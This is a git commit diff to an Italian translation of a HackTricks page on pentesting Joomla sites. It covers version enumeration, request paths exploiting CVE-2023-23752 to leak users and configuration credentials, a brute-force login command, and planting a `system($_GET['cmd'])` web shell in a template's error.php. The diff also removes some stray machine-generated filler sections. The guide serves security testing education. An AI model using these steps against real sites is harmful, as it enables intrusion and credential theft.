mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['network-services-pentesting/pentesting-web/joomla.md'] to i
This commit is contained in:
parent
cf12719937
commit
1e55dbb87e
1 changed files with 27 additions and 107 deletions
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo di hacktricks](https://github.com/carlospolop/hacktricks) e al [repo di hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
### Statistiche di Joomla
|
||||
|
||||
Joomla raccoglie alcune [statistiche sull'utilizzo](https://developer.joomla.org/about/stats.html) come la suddivisione delle versioni di Joomla, PHP e del database e i sistemi operativi del server utilizzati nelle installazioni di Joomla. Questi dati possono essere interrogati tramite la loro [API](https://developer.joomla.org/about/stats/api.html) pubblica.
|
||||
Joomla raccoglie alcune [statistiche sull'uso](https://developer.joomla.org/about/stats.html) anonime come la suddivisione delle versioni di Joomla, PHP e del database e i sistemi operativi del server in uso nelle installazioni di Joomla. Questi dati possono essere interrogati tramite la loro [API](https://developer.joomla.org/about/stats/api.html).
|
||||
```bash
|
||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
|
@ -44,39 +44,15 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|||
```
|
||||
## Enumerazione
|
||||
|
||||
### Scoperta/Rilevamento
|
||||
### Scoperta/Footing
|
||||
|
||||
* Controlla i **meta**
|
||||
* Controlla il **meta**
|
||||
```bash
|
||||
curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
|
||||
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
||||
```
|
||||
# robots.txt
|
||||
|
||||
Il file `robots.txt` è un file di testo utilizzato dai motori di ricerca per determinare quali pagine o directory di un sito web possono essere indicizzate. Questo file viene posizionato nella radice del sito web e contiene istruzioni per i crawler dei motori di ricerca.
|
||||
|
||||
## Struttura del file robots.txt
|
||||
|
||||
Il file `robots.txt` è composto da una serie di direttive che specificano quali pagine o directory devono essere escluse o consentite ai motori di ricerca. Le direttive sono organizzate nel seguente modo:
|
||||
|
||||
```
|
||||
User-agent: [nome del crawler]
|
||||
Disallow: [directory o pagina da escludere]
|
||||
Allow: [directory o pagina da consentire]
|
||||
```
|
||||
|
||||
## Esempi di direttive
|
||||
|
||||
Ecco alcuni esempi di direttive comuni utilizzate nel file `robots.txt`:
|
||||
|
||||
- `User-agent: *` indica che la direttiva si applica a tutti i crawler dei motori di ricerca.
|
||||
- `Disallow: /directory/` impedisce ai crawler di accedere a una specifica directory.
|
||||
- `Allow: /directory/pagina.html` consente ai crawler di accedere a una specifica pagina all'interno di una directory esclusa.
|
||||
|
||||
## Importanza del file robots.txt nella sicurezza
|
||||
|
||||
Il file `robots.txt` può essere utilizzato anche per nascondere informazioni sensibili o directory che non dovrebbero essere accessibili pubblicamente. Tuttavia, è importante notare che il file `robots.txt` non fornisce una protezione completa e non dovrebbe essere utilizzato come unico meccanismo di sicurezza. Altre misure di sicurezza, come l'autenticazione e l'autorizzazione, devono essere implementate per proteggere adeguatamente il sito web.
|
||||
* robots.txt
|
||||
```
|
||||
# If the Joomla site is installed within a folder
|
||||
# eg www.example.com/joomla/ then the robots.txt file
|
||||
|
@ -87,60 +63,6 @@ Il file `robots.txt` può essere utilizzato anche per nascondere informazioni se
|
|||
[...]
|
||||
```
|
||||
* README.txt
|
||||
|
||||
# Joomla
|
||||
|
||||
Joomla è un sistema di gestione dei contenuti (CMS) molto popolare utilizzato per creare e gestire siti web. Come qualsiasi altro CMS, Joomla può essere vulnerabile a diverse tecniche di attacco. In questa sezione, esploreremo alcune delle tecniche di pentesting utilizzate per testare la sicurezza di un sito Joomla.
|
||||
|
||||
## Enumerazione
|
||||
|
||||
La fase di enumerazione è il primo passo nel processo di pentesting di un sito Joomla. L'obiettivo è raccogliere informazioni sul sito, come versione di Joomla, estensioni installate e utenti registrati. Queste informazioni possono essere utilizzate per identificare potenziali vulnerabilità e punti deboli nel sistema.
|
||||
|
||||
### Enumerazione della versione di Joomla
|
||||
|
||||
Per determinare la versione di Joomla in esecuzione su un sito, è possibile utilizzare diversi metodi. Uno dei modi più comuni è cercare nel codice sorgente del sito o nelle intestazioni HTTP per trovare indizi sulla versione di Joomla utilizzata.
|
||||
|
||||
Un altro metodo è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sulla versione di Joomla e sulle estensioni installate.
|
||||
|
||||
### Enumerazione delle estensioni
|
||||
|
||||
Le estensioni di Joomla, come i plugin e i componenti, possono essere vulnerabili a diverse tecniche di attacco. Pertanto, è importante identificare le estensioni installate su un sito Joomla durante la fase di enumerazione.
|
||||
|
||||
Un modo per enumerare le estensioni è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sulle estensioni installate.
|
||||
|
||||
### Enumerazione degli utenti
|
||||
|
||||
Durante la fase di enumerazione, è anche importante identificare gli utenti registrati su un sito Joomla. Queste informazioni possono essere utilizzate per identificare potenziali account deboli o vulnerabili.
|
||||
|
||||
Un modo per enumerare gli utenti è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sugli utenti registrati.
|
||||
|
||||
## Vulnerabilità comuni
|
||||
|
||||
Una volta completata la fase di enumerazione, è possibile identificare potenziali vulnerabilità nel sito Joomla. Alcune delle vulnerabilità comuni includono:
|
||||
|
||||
- Cross-Site Scripting (XSS): consentono agli attaccanti di eseguire codice JavaScript malevolo sul sito.
|
||||
- SQL Injection: consentono agli attaccanti di eseguire comandi SQL non autorizzati sul database del sito.
|
||||
- Remote File Inclusion (RFI): consentono agli attaccanti di includere file remoti sul sito.
|
||||
- Local File Inclusion (LFI): consentono agli attaccanti di includere file locali sul sito.
|
||||
- Directory Traversal: consentono agli attaccanti di accedere a file e directory al di fuori della directory web root.
|
||||
|
||||
## Exploiting
|
||||
|
||||
Una volta identificate le vulnerabilità, è possibile sfruttarle per ottenere l'accesso non autorizzato al sito Joomla. Questo può includere l'esecuzione di codice arbitrario, l'accesso al database o l'ottenimento di privilegi amministrativi.
|
||||
|
||||
Per sfruttare le vulnerabilità, è possibile utilizzare strumenti di hacking come Metasploit o Burp Suite. Questi strumenti forniscono una serie di moduli e script che possono essere utilizzati per automatizzare il processo di exploit.
|
||||
|
||||
## Prevenzione
|
||||
|
||||
Per proteggere un sito Joomla dalle vulnerabilità, è importante seguire alcune best practice di sicurezza, come:
|
||||
|
||||
- Mantenere sempre aggiornato Joomla e le sue estensioni.
|
||||
- Utilizzare password complesse per gli account amministrativi.
|
||||
- Limitare l'accesso ai file di configurazione sensibili.
|
||||
- Impostare correttamente i permessi dei file e delle directory.
|
||||
- Utilizzare un firewall per filtrare il traffico indesiderato.
|
||||
|
||||
Seguendo queste best practice, è possibile ridurre significativamente il rischio di compromissione del sito Joomla.
|
||||
```
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
|
@ -148,19 +70,29 @@ Seguendo queste best practice, è possibile ridurre significativamente il rischi
|
|||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||||
```
|
||||
### Versione
|
||||
### Version
|
||||
|
||||
* In **/administrator/manifests/files/joomla.xml** puoi vedere la versione.
|
||||
* In **/language/en-GB/en-GB.xml** puoi ottenere la versione di Joomla.
|
||||
* In **plugins/system/cache/cache.xml** puoi vedere una versione approssimativa.
|
||||
|
||||
### Automatico
|
||||
### Automatic
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
In[ **80,443 - Metodologia di Pentesting Web è una sezione sugli scanner CMS**](./#cms-scanners) che possono scansionare Joomla.
|
||||
In **80,443 - Metodologia di Pentesting Web è una sezione sui CMS scanners** che possono scansionare Joomla.
|
||||
|
||||
### Brute-Force
|
||||
|
||||
### Divulgazione non autenticata delle informazioni dell'API:
|
||||
Le versioni da 4.0.0 a 4.2.7 sono vulnerabili alla divulgazione non autenticata delle informazioni (CVE-2023-23752) che consentirà di scaricare credenziali e altre informazioni.
|
||||
|
||||
* Utenti: `http://<host>/api/v1/users?public=true`
|
||||
|
||||
* File di configurazione: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
|
||||
**Modulo MSF**: `scanner/http/joomla_api_improper_access_checks` o script ruby: [51334](https://www.exploit-db.com/exploits/51334)
|
||||
|
||||
### Forza bruta
|
||||
|
||||
Puoi utilizzare questo [script](https://github.com/ajnik/joomla-bruteforce) per tentare un attacco di forza bruta al login.
|
||||
```shell-session
|
||||
|
@ -168,25 +100,13 @@ sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasplo
|
|||
|
||||
admin:admin
|
||||
```
|
||||
## RCE (Esecuzione Remota di Codice)
|
||||
## RCE
|
||||
|
||||
Se sei riuscito a ottenere le **credenziali dell'amministratore**, puoi eseguire un **RCE all'interno di esse** aggiungendo un frammento di **codice PHP** per ottenere l'esecuzione remota di codice. Possiamo fare ciò **personalizzando** un **template**.
|
||||
Se sei riuscito a ottenere le **credenziali admin** puoi eseguire **RCE al suo interno** aggiungendo un frammento di **codice PHP** per ottenere **RCE**. Possiamo farlo **personalizzando** un **template**.
|
||||
|
||||
1. **Clicca** su **`Templates`** in basso a sinistra sotto `Configuration` per accedere al menu dei template.
|
||||
1. **Clicca** su **`Templates`** in basso a sinistra sotto `Configuration` per visualizzare il menu dei template.
|
||||
2. **Clicca** su un nome di **template**. Scegliamo **`protostar`** sotto l'intestazione della colonna `Template`. Questo ci porterà alla pagina **`Templates: Customise`**.
|
||||
3. Infine, puoi cliccare su una pagina per visualizzare il **codice sorgente**. Scegliamo la pagina **`error.php`**. Aggiungeremo una **riga di codice PHP per ottenere l'esecuzione del codice** come segue:
|
||||
3. Infine, puoi fare clic su una pagina per visualizzare il **codice sorgente**. Scegliamo la pagina **`error.php`**. Aggiungeremo una **riga di codice PHP per eseguire il codice** come segue:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Salva e Chiudi**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue